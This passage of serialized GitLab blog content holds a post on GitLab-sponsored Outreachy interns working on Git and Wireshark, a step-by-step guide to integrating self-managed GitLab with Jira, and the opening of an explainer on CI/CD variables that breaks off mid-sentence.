sponsors](https://www.outreachy.org/sponsor/).\n\n## Outreachy interns work on Git\n\nMore than 90% of the professional applications created today are built using open source components, according to a [2020 Tidelift survey](https://cdn2.hubspot.net/hubfs/4008838/Resources/The-Tidelift-guide-to-managed-open-source.pdf?utm_source=hs_automation&utm_medium=email&utm_content=66640714). One of the fundamental open source technologies we leverage at GitLab is the [Git project](https://git-scm.com/), so we chose to sponsor an Outreachy intern to work there.\n\n> GitLab sponsors an Outreachy intern to work on one of the most critical open source technologies that it relies on: The Git project.\n\n[Christian Couder](/company/team/#chriscool), senior backend software engineer at GitLab, who works on Git full-time, introduced the [GitLab Developer Relations team](/handbook/marketing/developer-relations/) to the Outreachy opportunity during the winter of 2017-2018 round. An experienced mentor for other programs like Google Summer of Code, Christian thought that it would be great to mentor an intern through the Outreachy program as well. Since the number of mentored interns and the need to sponsor them increased over the years, GitLab has sponsored an Outreachy intern for the Git project since winter 2019-2020.\n\nOutreachy at Git works similarly to the [Google Summer of Code (GSoC) program](https://summerofcode.withgoogle.com/). Git participates in GSoC in the summer and Outreachy in the winter. These programs consist of the Git project finding mentors and project ideas for individual participants to work on. Then there is a selection step, which includes working on a micro-project (a small code-related change), as part of the application process, and writing a proposal for a project to work on during the internship. After the interns are announced, they begin to work on their projects. Typically, Git tries to provide two mentors per intern to provide the best possible experience for the mentee.\n\n> The mentors used to be long-time Git developers, but more and more Outreachy and GSoC alumni have returned to the program as mentors, indicating the power of these programs.\n\nThe mentors volunteer some time each week to help their mentees by answering questions, providing suggestions, reviewing contributions, etc. Contributions still have to be sent by participants to the Git mailing list as patches. Then, other experienced Git contributors review the contributions before they are integrated into the Git code base by [Junio Hamano](https://www.linkedin.com/in/gitster), the Git maintainer.\n\n## Meet the Outreachy interns\n\nWe met with the Outreachy interns at Git to learn more about their experience participating in the winter 2020-2021 Outreachy technology internship program. In the next section, the Outreachy interns shared what the experience was like, in their own words.\n\n### Charvi Mendiratta: A self-taught programmer with an interest in robotics\n\n_This section was written by Charvi._\n\n> I am a recent graduate from the electronics field in India, a self-taught programmer with internship experiences working on mobile robotics projects, and I aim to pursue a career as a software developer. - [Charvi](https://charvi-077.github.io/about/)\n\nIt turned out to be difficult to find a job as a software developer because of my background in electronics and because I lacked professional programming skills. Also, there are very few job opportunities for recent graduates in software engineering roles, especially those related to robotics.\n\nDue to these challenges, I decided to try out open source in parallel with brushing up my skills. I supposed that open source contributions would be the best way to get hands-on experience with projects that required real-life problem solving skills, and I wanted to learn to convert my code into deployable software. That's why I decided to apply to the Outreachy program.\n\nBesides wanting to learn more about creating enterprise-grade code, I have always been interested in being part of the open source community. I first learned about open source work culture from my college programming community. I remember the old days when I attended an open source event called '[Software Freedom Day](http://www.softwarefreedomday.in/)' at my university. That's where I first learned about different open source programs like Outreachy.\n\n> Over the course of my three month internship, I worked on cleaning up and improving the Git interactive rebase, which is a useful git command to rewrite or modify the commit history. - Charvi\n\n#### About Charvi's Outreachy project\n\nMy work on Git's interactive rebase, which was mentored by Christian and [Phillip Wood](https://git.github.io/rev_news/2019/11/20/edition-57/), will help users who want to rework their commits and make it easier for users to improve the quality of their contributions. When teams practice code review, for example, it's very useful to rework commits to make them better or easier to understand before a reviewer steps in, and to fix them when reviews point to problems.\n\nFirst, I added the options '-c' and '-C' to the present `fixup` command in the interactive rebase. The `fixup` command adds the functionality to edit the commit message of the specific commit listed in the interactive rebase (see [merged patches](https://lore.kernel.org/git/20210129182050.26143-1-charvi077@gmail.com/)). This work is based on the [original patch series](https://github.com/phillipwood/git/commits/wip/rebase-amend), started by Phillip.\n\nThen, I worked on the [follow-up patches](https://lore.kernel.org/git/20210210113650.19715-1-charvi077@gmail.com/) and introduced some improvements after discussing the user interface of the added options with the Git community. Next, I worked on adding the new feature to `git commit --fixup` that allows to prepare the \"amend!\" and \"reword!\" commit, as an alternative to the present `fixup!` commit. It works with `git commit --autosquash` and will help to fix-up the content and commit message of the specific commit from the command line (see [merged patches](https://lore.kernel.org/git/20210315075435.18229-1-charvi077@gmail.com/)).\n\n### Joey Salazar: An engineer with international experience\n\n_This section was written by Joey._\n\n> As a female engineer from Costa Rica, who graduated in China through a full scholarship, it has been a challenge to find opportunities with mentoring for my transition from IT into programming. - [Joey](https://about.me/gomezsalazar-jogebeth)\n\nEven though I worked five years in IT (OS, networking, and storage), and was certified in Linux+ and CCNA through self-learning before beginning my software engineering studies, most companies and organizations seem eager to hire mid-senior level developers. Very few seem willing to invest in helping people get to that level, or in finding ways to build on any preexisting IT experience. As an open source advocate, it was through my research of open source technologies and the open source space that I came across community groups such as [WomenWhoCode](https://www.womenwhocode.com/), which was where I learned about Outreachy.\n\n#### About Joey's Outreachy project\n\n> My favorite thing to work on, probably because of my [background in privacy advocacy](https://www.techdirt.com/articles/20200622/08142044757/long-past-time-to-encrypt-entire-dns.shtml), was adding the foundations of HTTPS connection support for the Git protocol by following up on [a patch](https://gitlab.com/wireshark/wireshark/-/merge_requests/1946) started (and shared by) long-time Wireshark developer, [Richard Sharpe](https://sharkfestus.wireshark.org/bios/richard-sharpe). –  Joey\n\nMy work on Git protocol support in [Wireshark](https://www.wireshark.org/), which was mentored by Git developers employed by Google, [Emily Shaffer](https://nasamuffin.dev) and Jonathan Nieder, will help users debugging Git or any Git using software (like GitLab). This work helps production teams or developers understand what's going on between Git clients and servers, so they can better troubleshoot or optimize how Git works. This project will help demystify Git and its inner workings in the tech community.\n\nAs Wireshark is \"the world’s foremost and widely-used network protocol analyzer\", improving the way it dissects and presents the Git protocol to the user is helpful and important. Traffic interception and analysis is part of many user's workflows – from students, to researchers and advocates. For a few years, Git's dissector in Wireshark was bare-bones, and supported only raw traffic transmitted over regular TCP transport – my work is helping to change that.\n\nBy starting with [base functionality](https://gitlab.com/wireshark/wireshark/-/merge_requests/1922) and building on top of other member's work, Joey and her mentors added parsing of the multiplexing ([sideband](https://gitlab.com/wireshark/wireshark/-/merge_requests/1313)) version in use (if any) to Wireshark's dissector for the Git protocol. Next, they [added parsing for the specific version](https://gitlab.com/wireshark/wireshark/-/merge_requests/1714) of the Git protocol that is used, following up on [an MR to parse the Git protocol version](https://gitlab.com/wireshark/wireshark/-/merge_requests/805), did some refactoring on [an MR to refactor Git packet line dissector](https://gitlab.com/wireshark/wireshark/-/merge_requests/1942), and began the foundations for Git protocol's [testing suite](https://gitlab.com/wireshark/wireshark/-/merge_requests/2142).\n\nToday the Git dissector now includes more functionality and error handling, as well as HTTPS transport support – all of which was done through GitLab's platform.\n\n## Outreachy mentor shares experience\n\n_Christian, the Outreachy mentor and GitLab team member who worked with Joey and Charvi, shares what the experience was like in his own words._\n\nThere are many rewarding parts to being a mentor. I really enjoy seeing mentees gain confidence over the weeks in their abilities to contribute significantly by themselves.\n\n> Since Git is used by more than 80% of the developers in the world, I hope that the Outreachy interns get the feeling that they can improve things even in small ways for millions of people and that their work can have a global impact. - Christian\n\nI also really enjoy it when former mentees want to continue contributing to the Git community after their internship. Outreachy alumni contributions can take many forms. Sometimes they continue to contribute on the same topic as their project, sometimes they participate in related discussions, even 10 years later. One of our mentees was recently hired to work full-time on Git. And it is of course great when they want to become mentors, so they can give back to the program and increase the number of people who can get mentored.\n\nIt's great too that Outreachy, Google, and sometimes the Git project itself all provide funds for former mentees to come to in-person Git events or open source-related conferences. Meeting mentees in-person is very rewarding. At in-person events, the interns can also meet a number of Git-related companies and people, and of course, learn even more about Git and open source. For some of them, it was the first time they traveled outside of their country or could visit a different continent.\n\n#### Mentorship comes with challenges\n\nThe most challenging part of being a mentor is the fact that the Git codebase is getting bigger and more complex as Git evolves and gains features all the time.\n\nThis makes it hard for participants to stay on track when the internship starts. They sometimes have to trust that following the process we suggest will lead them to better and better understanding until they can find their own way and become autonomous.\n\n## Outreach interns share their key takeaways\n\nWe asked Joey and Charvi to share some of the ways that the Outreachy technology internship has impacted them.\n\n### Joey has a better understanding of herself\n\n_This section was written by Joey._\n\n> My Outreachy internship helped me better define the type of team and community that I'd like to join and which will benefit the most from the wide range of skills that I can offer. – Joey\n\nOutreachy was an amazing help, not only in technical areas, but also with soft skills. For example, I formed a solid understanding of Git. Now I can use `git cherry-pick` and `git rebase`, as well as squash, comfortably since I understand better what they do, and how. Those Git commands gave me lots of trouble when I was a junior developer for [BIND](https://en.wikipedia.org/wiki/BIND), and now they don't give me trouble anymore. I also reinforced fundamentals in C -- implementing pointers and references without panic and knowing about vtables -- and I learned how to write test cases in Python.\n\nA crowning achievement was finding balance between patience and impatience, and between autonomy and guidance.\n\n### Charvi has fallen in love with the open source world\n\n_This section was written by Charvi._\n\n> Outreachy helped me start my open source journey. - Charvi\n\nI have always been fascinated with the open source work culture as a way to learn, share, and grow. I finally got wonderful working experience too, since both Outreachy and the Git project are prestigious organizations.\n\nI learned a lot throughout the entire internship, starting from when the Outreachy contribution period began before I qualified for the internship. On the technical side, I enhanced my C programming and debugging skills, learned to write neat code, learned about shell scripts, and developed a deeper understanding of Git commands and about the Git project workflow.\n\nApart from this, my internship helped me improve my communication skills, make connections with amazing software developers, and  become more confident in myself. I am sincerely thankful for the Outreachy program, Git community, and my mentors, Christian and Phillip. It was an amazing learning journey.\n\n## So what's next?\n\nNow that the Outreachy internship has concluded, both Joey and Charvi are ready to leverage their skills and experience working on the Git project to future work in FOSS. Learn more about [Charvi's experience](https://charvi-077.github.io/about/) and [Joey's experience](https://about.me/gomezsalazar-jogebeth) by following the links.\n\n## GitLab's continued internship opportunities\n\nGitLab is proud to have sponsored and mentored an intern for the Git project during the most recent round of Outreachy technology internships. We hope to someday qualify for our own Outreachy interns to work on the [GitLab FOSS project](https://gitlab.com/gitlab-org/gitlab-foss) (which celebrates 10 years in October 2021).\n\nThis summer, GitLab will also be participating for the first time in [Google Summer of Code 2021](https://summerofcode.withgoogle.com/organizations/4961424868114432/). We look forward to mentoring engineering students through that technology internship program.\n\nIn addition to participating in these two great technology internship programs, GitLab held its first [engineering internship program](/handbook/engineering/internships/) in 2020 with great success. As a result, GitLab will continue to hire interns for various projects and teams in an ongoing fashion, with a specific [focus on recruiting interns from underrepresented groups in engineering](/handbook/engineering/internships/#recruitment).\n\nWe look forward to supporting these programs that help foster diversity in open source and the wider tech industry, and are excited for the year ahead!\n",[815,1067,2248],{"slug":18900,"featured":6,"template":678},"outreachy-sponsorship-winter-2020","content:en-us:blog:outreachy-sponsorship-winter-2020.yml","Outreachy Sponsorship Winter 2020","en-us/blog/outreachy-sponsorship-winter-2020.yml","en-us/blog/outreachy-sponsorship-winter-2020",{"_path":18906,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":18907,"content":18913,"config":18918,"_id":18920,"_type":16,"title":18921,"_source":17,"_file":18922,"_stem":18923,"_extension":20},"/en-us/blog/gitlab-jira-integration-selfmanaged",{"title":18908,"description":18909,"ogTitle":18908,"ogDescription":18909,"noIndex":6,"ogImage":18910,"ogUrl":18911,"ogSiteName":1180,"ogType":1181,"canonicalUrls":18911,"schema":18912},"How to achieve a GitLab Jira integration","Check out how to integrate GitLab self-managed with Atlassian Jira to connect your merge requests, branches, and commits to a Jira issue.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749667260/Blog/Hero%20Images/twopeasinapod.jpg","https://about.gitlab.com/blog/gitlab-jira-integration-selfmanaged","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to achieve a GitLab Jira integration\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Tye Davis\"}],\n        \"datePublished\": \"2021-04-12\",\n      }",{"title":18908,"description":18909,"authors":18914,"heroImage":18910,"date":18915,"body":18916,"category":734,"tags":18917},[18386],"2021-04-12","\n_This is the second in a series of posts on GitLab Jira integration strategies. The [first post](/blog/integrating-gitlab-com-with-atlassian-jira-cloud/) explains how to integrate GitLab.com with Jira Cloud._\n\nThe advantages of a GitLab Jira integration are clear:\n\n* One GitLab project integrates with all the Jira projects in a single Jira instance. \n* Quickly navigate to Jira issues from GitLab. \n* Detect and link to Jira issues from GitLab commits and merge requests. \n* Log GitLab events in the associated Jira issue. \n* Automatically close (transition) Jira issues with GitLab commits and merge requests.\n\nHere's a step-by-step guide of everything you need to know to achieve a GitLab Jira integration.\n\n## Pre-configuration\n\nAs you approach configuring your GitLab project to Jira, you can choose from two options that best fit your company or organization's needs.  You can either:\n\n* Use a service template by having a GitLab administrator provide default values for configuring integrations at the project level. When enabled, the defaults are applied to all projects that do not already have the integration enabled or do not otherwise have custom values enabled. The Jira integration values are all pre-filled on each project's configuration page for jira integration. If you disable the template, these values no longer appear as defaults, while any values already saved for an integration remain unchanged.\n\n* Configure integrations at a specific project level that will contain custom values specific to that project and that project alone.\n\nIt should be noted that each GitLab project can be configured to connect to an entire Jira instance. That means one GitLab project can interact with all Jira projects in that instance, once configured. Therefore, you will not have to explicitly associate a GitLab project with any single Jira project.\n\nGitLab offers several different options that allow you to integrate Jira in a way that best fits you and your team's needs based on how you’ve set up your Jira software. Let’s take a deeper look into how to set-up each of these available options.\n\n## How to configure Jira\n\nThe first step in setting up your Gitlab Jira integration is having your Jira configuration in order. \n\n**Jira Server** supports basic authentication. When connecting, a username and password are required. Note that connecting to Jira Server via CAS is not possible. Set up a user in Jira Server first and then proceed to Configuring GitLab.\n\n**Jira Cloud** supports authentication through an API token, and in order to begin the process you need to start by creating one within Jira. When connecting to Jira Cloud, an email and API token are required. Set up a user in Jira Cloud first and then proceed to Configuring GitLab. \n\nCreate an API token here: https://id.atlassian.com/manage-profile/security/api-tokens  \n\n* Log in to id.atlassian.com with your email address. It is important that the user associated with this email address has write access to projects in Jira\n\n* Click Create API token.\n\n![Create API Token in Jira](https://about.gitlab.com/images/blogimages/atlassianjira/createjiratoken.png){: .shadow.medium.center}\nJira API token creation\n{: .note.text-center}\n\n* Click Copy, or click View and write down the new API token. It is required when configuring GitLab.\n\n![Copy API Token](https://about.gitlab.com/images/blogimages/atlassianjira/copyjiratoken.png){: .shadow.medium.center}\nJira API token copy to clipboard\n{: .note.text-center}\n\n## How to configure GitLab\n\nAs mentioned above, you can begin setting up the Jira integration either by using a service template that defaults all GitLab projects to pre-fill Jira values or you can set up at an individual project level. \n\nTo set up a service template:\n\n* 1a. Navigate to the Admin Area > Service Templates and choose the Jira service template.\n\n![GitLab Service Templates](https://about.gitlab.com/images/blogimages/atlassianjira/GitLabServiceTemplates.png){: .shadow.medium.center}\nGitLab Service Templates\n{: .note.text-center}\n\n2a. For each project, you will still need to configure the issue tracking URLs by replacing :issues_tracker_id in the above screenshot with the ID used by your external issue tracker.\n\n![Issue Tracker ID](https://about.gitlab.com/images/blogimages/atlassianjira/issuetrackerid.png){: .shadow.medium.center}\nIssue Tracker ID\n{: .note.text-center}\n\nTo set up a individual project template:\n\n* 1b. To enable the Jira integration in a project, navigate to the Integrations page and click the Jira service.\n\n![Enable Jira Integration](https://about.gitlab.com/images/blogimages/atlassianjira/enablejiraintegration.png){: .shadow.medium.center}\nEnable Jira Integration\n{: .note.text-center}\n\n* 2b. Select a Trigger action. This determines whether a mention of a Jira issue in GitLab commits, merge requests, or both, should link the Jira issue back to that source commit/MR and transition the Jira issue, if indicated.\n\n![Select Trigger Action](https://about.gitlab.com/images/blogimages/atlassianjira/selecttriggeraction.png){: .shadow.medium.center}\nSelect Trigger Action\n{: .note.text-center}\n\n* 3b. To include a comment on the Jira issue when the above reference is made in GitLab, check Enable comments.\n\n* 3c.  Enter the further details on the page as described in the following table:\n\n| Field | Description |\n|-------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|\n| Web URL | The base URL to the Jira instance web interface which is being linked to this GitLab project. E.g.,  https://jira.example.com. |\n| Jira API URL | The base URL to the Jira instance API. Web URL value will be used if not set. E.g.,  https://jira-api.example.com. Leave this field blank (or use the same value of Web URL) if using Jira Cloud.|\n| Username or Email | Use username for Jira Server or email for Jira Cloud |\n| Transition ID | Required for closing Jira issues via commits or merge requests. This is the ID of a transition in Jira that moves issues to a desired state. If you insert multiple transition IDs separated by , or;, the issue is moved to each state, one after another, using the given order. (See below for obtaining a transition ID) |\n\nIn order to obtain a transition ID, do the following:\n* By using the API, with a request like https://yourcompany.atlassian.net/rest/api/2/issue/ISSUE-123/transitions using an issue that is in the appropriate “open” state\n\n*Note: The transition ID may vary between workflows (e.g., bug vs. story), even if the status you are changing to is the same.*\n\n![Transition ID](https://about.gitlab.com/images/blogimages/atlassianjira/transitionid.png){: .shadow.medium.center}\nTransition ID\n{: .note.text-center}\n\nYour GitLab project can now interact with all Jira projects in your instance and the project now displays a Jira link that opens the Jira project.\n\nWhen you have configured all settings, click **Test settings and save changes.** \n\n![Test settings and save changes](https://about.gitlab.com/images/blogimages/atlassianjira/testsettingsandsavechanges.png){: .shadow.medium.center}\nTest settings and save changes\n{: .note.text-center}\n\nIt should be noted that you can only display issues from a single Jira project within a given GitLab project.\n\nThe integration is now **activated:**\n\n![Active Jira Integration](https://about.gitlab.com/images/blogimages/atlassianjira/activeintegration.png){: .shadow.medium.center}\nActive Jira Integration\n{: .note.text-center}\n\n## Jira Issues\n\nBy now you should have [configured Jira](https://docs.gitlab.com/ee/integration/jira/index.html#configuring-jira) and enabled the [Jira service in GitLab](https://docs.gitlab.com/ee/integration/jira/index.html#configuring-gitlab). If everything is set up correctly you should be able to reference and close Jira issues by just mentioning their ID in GitLab commits and merge requests.\n\nJira issue IDs must be formatted in uppercase for the integration to work.\n\n### 1.How to reference Jira issues\n\nWhen GitLab project has Jira issue tracker configured and enabled, mentioning Jira issue in GitLab will automatically add a comment in Jira issue with the link back to GitLab. This means that in comments in merge requests and commits referencing an issue, e.g., PROJECT-7, will add a comment in Jira issue in the format:\n\nUSER mentioned this issue in RESOURCE_NAME of [PROJECT_NAME|LINK_TO_COMMENT]:\nENTITY_TITLE\n\n* USER A user that mentioned the issue. This is the link to the user profile in GitLab.\n* LINK_TO_THE_COMMENT Link to the origin of mention with a name of the entity where Jira issue was mentioned.\n* RESOURCE_NAME Kind of resource which referenced the issue. Can be a commit or merge request.\n* PROJECT_NAME GitLab project name.\n* ENTITY_TITLE Merge request title or commit message first line.\n\n![Reference Jira issues](https://about.gitlab.com/images/blogimages/atlassianjira/issuelinks.png){: .shadow.medium.center}\nReference Jira issues\n{: .note.text-center}\n\nFor example, the following commit will reference the Jira issue with PROJECT-1 as its ID:\n\ngit commit -m \"PROJECT-1 Fix spelling and grammar\"\n\nClosing Jira Issues\n\nJira issues can be closed directly from GitLab when you push code by using trigger words in commits and merge requests. When a commit which contains the trigger word followed by the Jira issue ID in the commit message is pushed, GitLab will add a comment in the mentioned Jira issue and immediately close it (provided the transition ID was set up correctly).\n\nThere are currently three trigger words, and you can use either one to achieve the same goal:\n* Resolves PROJECT-1\n* Closes PROJECT-1\n* Fixes PROJECT-1\n\nwhere PROJECT-1 is the ID of the Jira issue.\n\nNotes:\n\n* Only commits and merges into the project’s default branch (usually main or master) will close an issue in Jira. You can change your projects default branch under project settings.\n\n* The Jira issue will not be transitioned if it has a resolution.\n\nLet’s consider the following example:\n\n* For the project named PROJECT in Jira, we implemented a new feature and created a merge request in GitLab.\n* This feature was requested in Jira issue PROJECT-7 and the merge request in GitLab contains the improvement\n* In the merge request description we use the issue closing trigger Closes PROJECT-7.\n* Once the merge request is merged, the Jira issue will be automatically closed with a comment and an associated link to the commit that resolved the issue.\n\nIn the following screenshot you can see what the link references to the Jira issue look like.\n\n![GitLab link references](https://about.gitlab.com/images/blogimages/atlassianjira/linkreferences.png){: .shadow.medium.center}\nGitLab link references\n{: .note.text-center}\n\nOnce this merge request is merged, the Jira issue will be automatically closed with a link to the commit that resolved the issue.\n\n![Jira Issue auto closes when GitLab MR merges](https://about.gitlab.com/images/blogimages/atlassianjira/jiraautoclose.png){: .shadow.medium.center}\nJira Issue auto closes when GitLab MR merges\n{: .note.text-center}\n\n## Development Panel Integration Set-Up\n\n### A. Jira DVCS configuration\n\nWhen using the Jira DVCS configuration, there are several different configurations you can make that are dependent on how your Jira/GitLab instances are managed.\n\n* If you are using self-managed GitLab, make sure your GitLab instance is accessible by Jira.\n* If you’re connecting to Jira Cloud, ensure your instance is accessible through the internet.\n* If you are using Jira Server, make sure your instance is accessible however your network is set up.\n\n### B. GitLab account configuration for DVCS\n\n* In GitLab, create a new application to allow Jira to connect with your GitLab account.\nWhile signed in to the GitLab account that you want Jira to use to connect to GitLab, click your profile avatar at the top right, and then click Settings > Applications. Use the form to create a new application.\n\n* In the Name field, enter a descriptive name for the integration, such as Jira.\nFor the Redirect URI field, enter https://\u003Cgitlab.example.com>/login/oauth/callback, replacing \u003Cgitlab.example.com> with your GitLab instance domain. For example, if you are using GitLab.com, this would be https://gitlab.com/login/oauth/callback.\nNote: If using a GitLab version earlier than 11.3, the Redirect URI must be https://\u003Cgitlab.example.com>/-/jira/login/oauth/callback. If you want Jira to have access to all projects, GitLab recommends that an administrator create the application.\n\n![Admin Creates Integration](https://about.gitlab.com/images/blogimages/atlassianjira/admincreates.png){: .shadow.medium.center}\nAdmin Creates Integration\n{: .note.text-center}\n\n* Check API in the Scopes section and uncheck any other checkboxes.\n\n* Click Save application. GitLab displays the generated Application ID and Secret values. Copy these values, which you will use in Jira.\n\n*Tip: To ensure that regular user account maintenance doesn’t impact your integration, create and use a single-purpose jira user in GitLab.*\n\n## Jira DVCS Connector setup\n\nNote: If you’re using GitLab.com and Jira Cloud, we recommend you use the [GitLab for Jira app](https://docs.gitlab.com/ee/integration/jira/index.html), unless you have a specific need for the DVCS Connector.\n\n* Ensure you have completed the [GitLab configuration](https://docs.gitlab.com/ee/integration/jira/index.html).\n\n![Check api in Applications](https://about.gitlab.com/images/blogimages/atlassianjira/checkapi.png){: .shadow.medium.center}\nCheck api in Applications\n{: .note.text-center}\n\n![Application was created successfully](https://about.gitlab.com/images/blogimages/atlassianjira/applicationsuccessful.png){: .shadow.medium.center}\nApplication was created successfully\n{: .note.text-center}\n\n* If you’re using Jira Server, go to Settings (gear) > Applications > DVCS accounts. If you’re using Jira Cloud, go to Settings (gear) > Products > DVCS accounts.\n\n![Go to DVCS in Settings](https://about.gitlab.com/images/blogimages/atlassianjira/dvcssettings.png){: .shadow.medium.center}\nGo to DVCS in Settings\n{: .note.text-center}\n\n* Click Link GitHub Enterprise account to start creating a new integration. (We’re pretending to be GitHub in this integration, until there’s additional platform support in Jira.)\n\n![Click Link to start new integration](https://about.gitlab.com/images/blogimages/atlassianjira/dvcsaccount.png){: .shadow.medium.center}\nClick Link to start new integration\n{: .note.text-center}\n\n* Complete the form:\nSelect GitHub Enterprise for the Host field.\nIn the Team or User Account field, enter the relative path of a top-level GitLab group that you have access to, or the relative path of your personal namespace.\n\n![Add new account](https://about.gitlab.com/images/blogimages/atlassianjira/addnewaccount.png){: .shadow.medium.center}\nAdd new account\n{: .note.text-center}\n\nIn the Host URL field, enter https://\u003Cgitlab.example.com>/, replacing \u003Cgitlab.example.com> with your GitLab instance domain. For example, if you are using GitLab.com, this would be https://gitlab.com/.\n\n*Note: If using a GitLab version earlier than 11.3 the Host URL value should be https://\u003Cgitlab.example.com>/-/jira*\n\nFor the Client ID field, use the Application ID value from the previous section.\n\nFor the Client Secret field, use the Secret value from the previous section.\n\nEnsure that the rest of the checkboxes are checked.\n\n* Click Add to complete and create the integration.\nJira takes up to a few minutes to know about (import behind the scenes) all the commits and branches for all the projects in the GitLab group you specified in the previous step. These are refreshed every 60 minutes.\n\nIn the future, we plan on implementing real-time integration. If you need to refresh the data manually, you can do this from the Applications -> DVCS accounts screen where you initially set up the integration:\n\n![Refresh data manually](https://about.gitlab.com/images/blogimages/atlassianjira/refreshdata.png){: .shadow.medium.center}\nRefresh data manually\n{: .note.text-center}\n\nTo connect additional GitLab projects from other GitLab top-level groups (or personal namespaces), repeat the previous steps with additional Jira DVCS accounts.\n\nFor troubleshooting your DVCS connection, go to [GitLab Docs](https://docs.gitlab.com/ee/integration/jira/index.html) for more information.\n\n_In our next blog post we'll look at [Usage](https://docs.gitlab.com/ee/integration/jira_development_panel.html#usage)._\n\nCover image by [Mikołaj Idziak](https://unsplash.com/@mikidz) on [Unsplash](https://unsplash.com/photos/nwjRmbXbLgw).\n{: .note.text-left}\n",[3949,4103,1385],{"slug":18919,"featured":6,"template":678},"gitlab-jira-integration-selfmanaged","content:en-us:blog:gitlab-jira-integration-selfmanaged.yml","Gitlab Jira Integration Selfmanaged","en-us/blog/gitlab-jira-integration-selfmanaged.yml","en-us/blog/gitlab-jira-integration-selfmanaged",{"_path":18925,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":18926,"content":18932,"config":18937,"_id":18939,"_type":16,"title":18940,"_source":17,"_file":18941,"_stem":18942,"_extension":20},"/en-us/blog/demystifying-ci-cd-variables",{"title":18927,"description":18928,"ogTitle":18927,"ogDescription":18928,"noIndex":6,"ogImage":18929,"ogUrl":18930,"ogSiteName":1180,"ogType":1181,"canonicalUrls":18930,"schema":18931},"GitLab environment variables demystified","CI/CD variables are useful (and flexible) tools to control jobs and pipelines. We unpack everything you need to know about GitLab environment variables.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749664679/Blog/Hero%20Images/blog-image-template-1800x945__24_.png","https://about.gitlab.com/blog/demystifying-ci-cd-variables","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab environment variables demystified\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Veethika Mishra\"}],\n        \"datePublished\": \"2021-04-09\",\n      }",{"title":18927,"description":18928,"authors":18933,"heroImage":18929,"date":18934,"body":18935,"category":734,"tags":18936,"updatedDate":3106},[5114],"2021-04-09","There is a lot of flexibility when it comes to defining and using variables for [CI/CD](https://about.gitlab.com/topics/ci-cd/). Variables are extremely useful for controlling jobs and pipelines, and they help you avoid hard-coding values in your `.gitlab-ci.yml` configuration file. The information in this post should weave a larger picture by bringing together all (or most) of the information around defining and handling variables, making it easier to understand the scope and capabilities. Relevant documentation is linked throughout the post.\n\nIn [GitLab CI/CD](https://docs.gitlab.com/ee/ci/), variables can be used to customize jobs by defining and storing values. When using variables there is no need to hard code values. In GitLab, CI/CD variables can be defined by going to **Settings >> CI/CD >> Variables**, or by simply defining them in the `.gitlab-ci.yml` file.\n\nVariables are useful for configuring third-party services for different deployment environments, such as `testing`, `staging`, `production`, etc. Modify the services attached to those environments by simply changing the variable that points to the API endpoint the services need to use. Also use variables to configure jobs and then make them available as environment variables within the jobs when they run.\n\n![GitLab reads the .gitlab-ci.yml file to scan the referenced variable and sends the information to the GitLab Runner. The variables are exposed on and output by the runner.](https://about.gitlab.com/images/blogimages/demystifying-ci-cd-variables/variables_processing.jpeg)\n\n## The relationship between variables and environments\n\nSoftware development as a process includes stages to test a product before rolling it out to users. [Environments](https://docs.gitlab.com/ee/ci/environments/) are used to define what those stages look like and it may differ between teams and organizations.\n\nOn the other hand, variables are data values that are likely to change as a result of user interaction with a product. For example, their age, preference, or any input you could possibly think of that might determine their next step in the product task-flow.\n\nWe often hear the term [environment variable](https://docs.gitlab.com/ee/administration/environment_variables.html). These are variables that are defined in a given environment, but outside the application. GitLab CI/CD variables provide developers with the ability to configure values in their code. Using variables is helpful because it ensures that the code is flexible. GitLab CI/CD variables allow users to modify an application deployed to a certain environment without making any change to code. It is simple to run tests or even integrate third-party services by changing a configuration environment variable outside the application.\n\n## The scope of variables for CI/CD\n\n![Order of precedence for CI/CD variables: 1) Manual pipeline run, trigger and schedule pipeline variables, 2) Project level, group level, instance level protected variables, 3) Inherited CI/CD variables, 4) Job level, global yml defined variables, 5) Deployment variables, 6) Pre-defined CI/CD variables](https://about.gitlab.com/images/blogimages/demystifying-ci-cd-variables/variables_precedence.jpeg)\n\n### `.gitlab-ci.yml` defined variables\n\nVariables that need to be available in the job environment can be added to GitLab. These CI/CD variables are meant to store non-sensitive project configuration, like the database URL in the `.gitlab-ci.yml` file. Reuse this variable in multiple jobs or scripts, wherever the value is needed. If the value changes, you only need to update the variable once, and the change is reflected everywhere the variable is used.\n\n### Project CI/CD variables\n\nMoving a step above the repository-specific requirements, you can define CI/CD variables in [project settings](https://docs.gitlab.com/ee/ci/variables/#for-a-project), which makes them available to CI/CD pipelines. These are stored out of the repository (not in the `.gitlab-ci.yml` file), but are still available to use in the CI/CD configuration and scripts. Storing the variables outside the `.gitlab-ci.yml` file keeps these values limited to a project-only scope, and not saved in plain text in the project.\n\n### Group and instance CI/CD variables\n\nSome variables are relevant at the group level, or even instance level, and could be useful to all projects in a group or instance. Define the variables in the [group or instance settings](https://docs.gitlab.com/ee/ci/variables/#for-a-group) so all projects within those scopes can use the variables without actually needing to know the value  or having to create the variables for the lower scope. For example, a common value that needs to be updated in multiple projects can be easily managed if it stays up-to-date in a single place. Alternatively, multiple projects could use a specific password without actually needing to know the value of the password itself.\n\n## Jobs and pipelines as environments\n\nGitLab CI/CD variables, besides being used as environment variables, also work in the scope of the `.gitlab-ci.yml` configuration file to configure pipeline behavior, unrelated to any environment. The variables can be stored in the project/group/instance settings and be made available to jobs in pipelines.\n\nFor example:\n\n```  \njob:  \n  rules:  \n    - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH  \n  script:  \n  - echo \"This job ran on the $CI_COMMIT_BRANCH branch.\"  \n```\n\nThe variable `($CI_COMMIT_BRANCH)` in the script section runs in the scope of the job in which it was defined. This scope is the \"job environment\" – meaning, when the job starts, the GitLab runner starts up a Docker container and runs the job in that environment. The runner will make that variable (and all other predefined or custom variables) available to the job, and it can display their value in the log output if needed.\n\nBut the variable is **also** used in the `if:` section to determine when the job should run. That in itself is not an environment, which is why we call these CI/CD variables. They can be used to dynamically configure your CI/CD jobs, **as well** as be used as environment 